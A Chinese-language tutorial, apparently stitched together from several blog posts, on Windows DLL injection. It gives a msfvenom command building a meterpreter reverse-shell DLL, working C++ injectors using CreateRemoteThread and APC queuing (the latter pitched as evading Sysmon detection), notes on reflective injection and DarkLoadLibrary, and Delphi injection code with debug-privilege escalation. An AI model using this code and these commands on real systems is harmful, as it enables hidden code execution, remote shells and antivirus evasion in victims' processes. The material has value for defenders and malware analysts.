DLL注入

DLL注入原理

在Windows操作系统中,运行的每一个进程都生活在自己的程序空间中(保护模式),每一个进程都认为自己拥有整个机器的控制权,每个进程都认为自己拥有计算机的整个内存空间,这些假象都是操作系统创造的(操作系统控制CPU使得CPU启用保护模式)。理论上而言,运行在操作系统上的每一个进程之间都是互不干扰的,即每个进程都会拥有独立的地址空间。比如说进程B修改了地址为0x4000000的数据,那么进程C的地址为0x4000000处的数据并未随着B的修改而发生改变,并且进程C可能并不拥有地址为0x4000000的内存(操作系统可能没有为进程C映射这块内存)。因此,如果某进程有一个缺陷覆盖了随机地址处的内存(这可能导致程序运行出现问题),那么这个缺陷并不会影响到其他进程所使用的内存。

也正是由于进程的地址空间是独立的(保护模式),因此我们很难编写能够与其它进程通信或控制其它进程的应用程序。

所谓的dll注入即是让程序A强行加载程序B给定的a.dll,并执行程序B给定的a.dll里面的代码。注意,程序B所给定的a.dll原先并不会被程序A主动加载,但是当程序B通过某种手段让程序A“加载”a.dll后,程序A将会执行a.dll里的代码,此时,a.dll就进入了程序A的地址空间,而a.dll模块的程序逻辑由程序B的开发者设计,因此程序B的开发者可以对程序A为所欲为。因为执行命令需要借用某些合法进程,所以一般的进程注入都要绕过AV检测。

dll注入实现过程

   1.附加到目标/远程进程

   2.在目标/远程进程内分配内存

   3.将DLL文件路径,或者DLL文件,复制到目标/远程进程的内存空间

   4.控制进程运行DLL文件

生成DLL

使用msf生成一个dll:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.105 LPORT=4444 -f dll -o inject.dll     

手写dll注入器:

#include<Windows.h> 
#include<stdio.h>
using namespace std;

int main(int argc,char * argv[]) {
  HANDLE ProcessHandle;
  LPVOID remotebuffer;
  BOOL write;

  wchar_t dllpath[] = TEXT("C:\\users\\root\\desktop\\inject.dll");

  if (argc < 2) {
    printf("Useage inject.exe Pid;\n");
    printf("such as inject.exe 258\n");
    exit(0);
  }

  printf("Injecting DLL to PID: %i\n", atoi(argv[1]));
  ProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, 	FALSE, DWORD(atoi(argv[1])));
  if (ProcessHandle == NULL) {
    printf("OpenProcess Fail !!!");
    exit(0);
  }
  else
  {
    printf("OpenProcess %i successful !!!\n",atoi(argv[1]));
 }

 remotebuffer = VirtualAllocEx(ProcessHandle, NULL, 	sizeof dllpath, MEM_COMMIT, PAGE_READWRITE);
  write = WriteProcessMemory(ProcessHandle, 	remotebuffer, (LPVOID)dllpath, sizeof dllpath, NULL);

  if (write == 0) {
    printf("WriteProcessMemory Fail %i!!!",GetLastError());
    exit(0);
  }
  else
  {
printf("WriteProcessMemory  successful !!!\n");
  }

  PTHREAD_START_ROUTINE threatStartRoutineAddress = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");
  CreateRemoteThread(ProcessHandle, NULL, 0, threatStartRoutineAddress, remotebuffer, 0, NULL);
  CloseHandle(ProcessHandle);
  
  return 0;
}

在进程监控中,也可以清楚的看到进程被注入了dll。
在这里插入图片描述在上面的注入方式中,我们使用了CreateRemoteThread来进行dll注入,而这个方式在具有Sysmon的系统中会留下Event ID 8的痕迹。而我们使用通过APC实现Dll注入则可以绕过这种监控。

APC实现DLL注入

#include <windows.h>
#include <TlHelp32.h>
#include <vector>

using std::vector;

bool FindProcess(PCWSTR exeName, DWORD& pid, 	vector<DWORD>& tids) {
auto hSnapshot = ::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD, 0);
if (hSnapshot == INVALID_HANDLE_VALUE)
    return false;
pid = 0;
PROCESSENTRY32 pe = { sizeof(pe) };
if (::Process32First(hSnapshot, &pe)) {
    do {
        if (_wcsicmp(pe.szExeFile, exeName) == 0) {
            pid = pe.th32ProcessID;
            THREADENTRY32 te = { sizeof(te) };
            if (::Thread32First(hSnapshot, &te)) {
                do {
                    if (te.th32OwnerProcessID == pid) {
                        tids.push_back(te.th32ThreadID);
                    }
                } while (::Thread32Next(hSnapshot, &te));
            }
            break;
        }
    } while (::Process32Next(hSnapshot, &pe));
}
::CloseHandle(hSnapshot);
return pid > 0 && !tids.empty();
}

void main()
{
  DWORD pid;
  vector<DWORD> tids;
  if (FindProcess(L"calc.exe", pid, tids)) 
  {
printf("OpenProcess\n");
HANDLE hProcess = ::OpenProcess(PROCESS_VM_WRITE | PROCESS_VM_OPERATION, FALSE, pid);
printf("VirtualAllocEx\n");
auto p = ::VirtualAllocEx(hProcess, nullptr, 1 << 12, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
wchar_t buffer[] = L"c:\\test\\testdll.dll";
printf("WriteProcessMemory\n");
::WriteProcessMemory(hProcess, p, buffer, sizeof(buffer), nullptr);
for (const auto& tid : tids) 
{
  printf("OpenThread\n");
  HANDLE hThread = ::OpenThread(THREAD_SET_CONTEXT, FALSE, tid);
  if (hThread) 
  {
    printf("GetProcAddress\n");
    ::QueueUserAPC((PAPCFUNC)::GetProcAddress(GetModuleHandle(L"kernel32"), "LoadLibraryW"), hThread, (ULONG_PTR)p);  
  }
}
printf("VirtualFreeEx\n");
::VirtualFreeEx(hProcess, p, 0, MEM_RELEASE | MEM_DECOMMIT);
  }
}

反射型dll注入

反射DLL注入可以将加密的DLL保存在磁盘(或者以其他形式如shellcode等),之后将其解密放在内存中。之后跟DLL注入一般,使用VirtualAlloc和WriteProcessMemory将DLL写入目标进程。因为没有使用LoadLibrary函数,要想实现DLL的加载运行,我们需要在DLL中添加一个导出函数,ReflectiveLoader,这个函数实现的功能就是加载自身。

反射DLL注入实现起来其实十分复杂,需要对PE加载十分了解。通过编写ReflectiveLoader找到DLL文件在内存中的地址,分配装载DLL的空间,并计算 DLL 中用于执行反射加载的导出的内存偏移量,然后通过偏移地址作为入口调用 CreateRemoteThread函数执行。

msf已经有了相应的模块:

windows/manage/reflective_dll_inject     

在内存中,可以看到明显的PE标识:

在这里插入图片描述

将其dump后
在这里插入图片描述

放入PE查看工具,可看到其为正常的PE文件与RDI特有的名字:

在这里插入图片描述此类文件可配合sRdi使用,效果更佳。

DarkLoadLibrary

DarkLoadLibrary由batsec提出的项目,文章地址:

DarkLoadLibrary文章描述

项目地址:项目地址

图标展示了其特点:
在这里插入图片描述其支持磁盘加载、内存加载。

磁盘加载:在这里插入图片描述内存加载:

在这里插入图片描述其DarkLoadLibraryDebugging为自定义的名称,与NO_LINK,则看不到明显的dll加载痕迹
在这里插入图片描述缺点是仅支持当前进程不支持远程进程,但不得不说,其优越性的确可以是当前进程加载dll的不二之选。

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远程注入DLL方法有很多种,也是很多木马病毒所使用的隐藏进程的方法,因为通过程序加载的DLL在进程管理器是没有显示的.这里介绍一种用 CreateRemoteThread 远程建立线程的方式注入DLL. 首先,我们要提升自己的权限,因为远程注入必不可免的要访问到目标进程的内存空间,如果没有足够的系统权限,将无法作任何事.下面是这个函数是用来提升我们想要的权限用的. function EnableDebugPriv: Boolean; var hToken: THandle; tp: TTokenPrivileges; rl: Cardinal; begin Result := false; //打开进程令牌环 OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY, hToken); //获得进程本地唯一ID if LookupPrivilegeValue(nil, 'SeDebugPrivilege', tp.Privileges[0].Luid) then begin tp.PrivilegeCount := 1; tp.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED; //调整权限 Result := AdjustTokenPrivileges(hToken, false, tp, SizeOf(tp), nil, rl); end; end; 关于 OpenProcessToken() 和 AdjustTokenPrivileges() 两个 API 的简单介绍: OpenProcessToken():获得进程访问令牌的句柄. function OpenProcessToken( ProcessHandle: THandle; //要修改访问权限的进程句柄 DesiredAccess: DWORD; //指定你要进行的操作类型 var TokenHandle: THandle//返回的访问令牌指针 ): BOOL; AdjustTokenPrivileges() :调整进程的权限. function AdjustTokenPrivileges( TokenHandle: THandle; // 访问令牌的句柄 DisableAllPrivileges: BOOL; // 决定是进行权限修改还是除能(Disable)所有权限 const NewState: TTokenPrivileges; { 指明要修改的权限,是一个指向TOKEN_PRIVILEGES结构的指针,该结构包含一个数组, 数据组的每个项指明了权限的类型和要进行的操作; } BufferLength: DWORD; //结构PreviousState的长度,如果PreviousState为空,该参数应为 0 var PreviousState: TTokenPrivileges; // 指向TOKEN_PRIVILEGES结构的指针,存放修改前的访问权限的信息 var ReturnLength: DWORD //实际PreviousState结构返回的大小 ) : BOOL; 远程注入DLL其实是通过 CreateRemoteThread 建立一个远程线程调用 LoadLibrary 函数来加载我们指定的DLL,可是如何能让远程线程知道我要加载DLL呢,要知道在Win32系统下,每个进程都拥有自己的4G虚拟地址空间,各个进程之间都是相互独立的。所我们需要在远程进程的内存空间里申请一块内存空间,写入我们的需要注入DLL 的路径. 需要用到的 API 函数有: OpenProcess():打开目标进程,得到目标进程的操作权限,详细参看MSDN function OpenProcess( dwDesiredAccess: DWORD; // 希望获得的访问权限 bInheritHandle: BOOL; // 指明是否希望所获得的句柄可以继承 dwProcessId: DWORD // 要访问的进程ID ): THandle; VirtualAllocEx():用于在目标进程内存空间中申请内存空间以写入DLL的文件名 function VirtualAllocEx( hProcess: THandle; // 申请内存所在的进程句柄 lpAddress: Pointer; // 保留页面的内存地址;一般用nil自动分配 dwSize, // 欲分配的内存大小,字节单位;注意实际分 配的内存大小是页内存大小的整数倍 flAllocationType: DWORD; flProtect: DWORD ): Pointer; WriteProcessMemory():往申请到的空间中写入DLL的文件名 function WriteProcessMemory( hProcess: THandle; //要写入内存数据的目标进程句柄 const lpBaseAddress: Pointer; //要写入的目标进程的内存指针, 需以 VirtualAllocEx() 来申请 lpBuffer: Pointer; //要写入的数据 nSize: DWORD; //写入数据的大小 var lpNumberOfBytesWritten: DWORD //实际写入的大小 ): BOOL; 然后就可以调用 CreateRemoteThread 建立远程线程调用 LoadLibrary 函数来加载我们指定的DLL. CreateRemoteThread() //在一个远程进程中建立线程 function CreateRemoteThread( hProcess: THandle; //远程进程的句柄 lpThreadAttributes: Pointer; //线程安全描述字,指向SECURITY_ATTRIBUTES结构的指针 dwStackSize: DWORD; //线程栈大小,以字节表示 lpStartAddress: TFNThreadStartRoutine; // 一个TFNThreadStartRoutine类型的指针,指向在远程进程中执行的函数地址 lpParameter: Pointer; //传入参数的指针 dwCreationFlags: DWORD; //创建线程的其它标志 var lpThreadId: DWORD //线程身份标志,如果为0, 则不返回 ): THandle; 整个远程注入DLL的具体实现代码如下: function InjectDll(const DllFullPath: string; const dwRemoteProcessId: Cardinal): Boolean; var hRemoteProcess, hRemoteThread: THandle; pszLibFileRemote: Pointer; pszLibAFilename: PwideChar; pfnStartAddr: TFNThreadStartRoutine; memSize, WriteSize, lpThreadId: Cardinal; begin Result := false; // 调整权限,使程序可以访问其他进程的内存空间 if EnableDebugPriv then begin //打开远程线程 PROCESS_ALL_ACCESS 参数表示打开所有的权限 hRemoteProcess := OpenProcess(PROCESS_ALL_ACCESS, false, dwRemoteProcessId); try // 为注入dll文件路径分配内存大小,由于为WideChar,故要乘2 GetMem(pszLibAFilename, Length(DllFullPath) * 2 + 1); // 之所以要转换成 WideChar, 是因为当DLL位于有中文字符的路径下时不会出错 StringToWideChar(DllFullPath, pszLibAFilename, Length(DllFullPath) * 2 + 1); // 计算 pszLibAFilename 的长度,注意,是以字节为单元的长度 memSize := (1 + lstrlenW(pszLibAFilename)) * SizeOf(WCHAR); //使用VirtualAllocEx函数在远程进程的内存地址空间分配DLL文件名空间 pszLibFileRemote := VirtualAllocEx(hRemoteProcess, nil, memSize, MEM_COMMIT, PAGE_READWRITE); if Assigned(pszLibFileRemote) then begin //使用WriteProcessMemory函数将DLL的路径名写入到远程进程的内存空间 if WriteProcessMemory(hRemoteProcess, pszLibFileRemote, pszLibAFilename, memSize, WriteSize) and (WriteSize = memSize) then begin lpThreadId := 0; // 计算LoadLibraryW的入口地址 pfnStartAddr := GetProcAddress(LoadLibrary('Kernel32.dll'), 'LoadLibraryW'); // 启动远程线程LoadLbraryW,通过远程线程调用创建新的线程 hRemoteThread := CreateRemoteThread(hRemoteProcess, nil, 0, pfnStartAddr, pszLibFileRemote, 0, lpThreadId); // 如果执行成功返回 True; if (hRemoteThread 0) then Result := true; // 释放句柄 CloseHandle(hRemoteThread); end; end; finally // 释放句柄 CloseHandle(hRemoteProcess); end; end; end; 接下来要说的是如何卸载注入目标进程中的DLL,其实原理和注入DLL是完全相同的,只是远程调用调用的函数不同而已,这里要调用的是FreeLibrary,代码如下: function UnInjectDll(const DllFullPath: string; const dwRemoteProcessId: Cardinal): Boolean; // 进程注入和取消注入其实都差不多,只是运行的函数不同而已 var hRemoteProcess, hRemoteThread: THandle; pszLibFileRemote: PChar; pszLibAFilename: PwideChar; pfnStartAddr: TFNThreadStartRoutine; memSize, WriteSize, lpThreadId, dwHandle: Cardinal; begin Result := false; // 调整权限,使程序可以访问其他进程的内存空间 if EnableDebugPriv then begin //打开远程线程 PROCESS_ALL_ACCESS 参数表示打开所有的权限 hRemoteProcess := OpenProcess(PROCESS_ALL_ACCESS, false, dwRemoteProcessId); try // 为注入dll文件路径分配内存大小,由于为WideChar,故要乘2 GetMem(pszLibAFilename, Length(DllFullPath) * 2 + 1); // 之所以要转换成 WideChar, 是因为当DLL位于有中文字符的路径下时不会出错 StringToWideChar(DllFullPath, pszLibAFilename, Length(DllFullPath) * 2 + 1); // 计算 pszLibAFilename 的长度,注意,是以字节为单元的长度 memSize := (1 + lstrlenW(pszLibAFilename)) * SizeOf(WCHAR); //使用VirtualAllocEx函数在远程进程的内存地址空间分配DLL文件名空间 pszLibFileRemote := VirtualAllocEx(hRemoteProcess, nil, memSize, MEM_COMMIT, PAGE_READWRITE); if Assigned(pszLibFileRemote) then begin //使用WriteProcessMemory函数将DLL的路径名写入到远程进程的内存空间 if WriteProcessMemory(hRemoteProcess, pszLibFileRemote, pszLibAFilename, memSize, WriteSize) and (WriteSize = memSize) then begin // 计算GetModuleHandleW的入口地址 pfnStartAddr := GetProcAddress(LoadLibrary('Kernel32.dll'), 'GetModuleHandleW'); //使目标进程调用GetModuleHandleW,获得DLL在目标进程中的句柄 hRemoteThread := CreateRemoteThread(hRemoteProcess, nil, 0, pfnStartAddr, pszLibFileRemote, 0, lpThreadId); // 等待GetModuleHandle运行完毕 WaitForSingleObject(hRemoteThread, INFINITE); // 获得GetModuleHandle的返回值,存在dwHandle变量中 GetExitCodeThread(hRemoteThread, dwHandle); // 计算FreeLibrary的入口地址 pfnStartAddr := GetProcAddress(LoadLibrary('Kernel32.dll'), 'FreeLibrary'); // 使目标进程调用FreeLibrary,卸载DLL hRemoteThread := CreateRemoteThread(hRemoteProcess, nil, 0, pfnStartAddr, Pointer(dwHandle), 0, lpThreadId); // 等待FreeLibrary卸载完毕 WaitForSingleObject(hRemoteThread, INFINITE); // 如果执行成功返回 True; if hRemoteProcess 0 then Result := true; // 释放目标进程中申请的空间 VirtualFreeEx(hRemoteProcess, pszLibFileRemote, Length(DllFullPath) + 1, MEM_DECOMMIT); // 释放句柄 CloseHandle(hRemoteThread); end; end; finally // 释放句柄 CloseHandle(hRemoteProcess); end; end; end;
Delphi是一种编程语言,而DLL(Dynamic-Link Library)是一种模块化的文件格式,用于存储代码和数据,可以被多个应用程序共享。DLL注入是一种技术,它允许将DLL文件加载到正在运行的进程中,并使得该进程能够调用DLL中的函数和使用其中的数据。 在Delphi中实现DLL注入的方法有很多种。一种常见的方法是使用Windows API函数LoadLibrary和GetProcAddress。通过调用LoadLibrary函数,将DLL文件加载到进程的虚拟地址空间中。然后使用GetProcAddress函数获取DLL中导出函数的地址,并将其传递给需要调用的函数。通过这种方式,可以在运行时将DLL注入到目标进程中,并且通过调用DLL中的函数来扩展进程的功能。 DLL注入在实际应用中有多种用途。例如,可以使用DLL注入来为某个程序添加额外的功能或修改程序的行为。DLL注入还可以用于实现一些调试和监控的功能。通过注入DLL,可以截获程序的输入和输出,或者在程序执行某些指定的操作时进行额外的处理。 在Delphi中实现DLL注入需要一定的编程知识和技巧。需要考虑目标进程的架构和权限限制,以及如何管理注入DLL的生命周期和资源管理。同时,还需要处理一些安全性和稳定性方面的问题,以确保注入过程不会对目标进程造成损害或崩溃。 总之,Delphi可以通过调用Windows API函数来实现DLL注入,从而扩展和修改进程的功能。但在实际应用中,需要考虑各种方面的问题,并且遵守相关的法律和规定,以确保注入操作的安全性和合法性。

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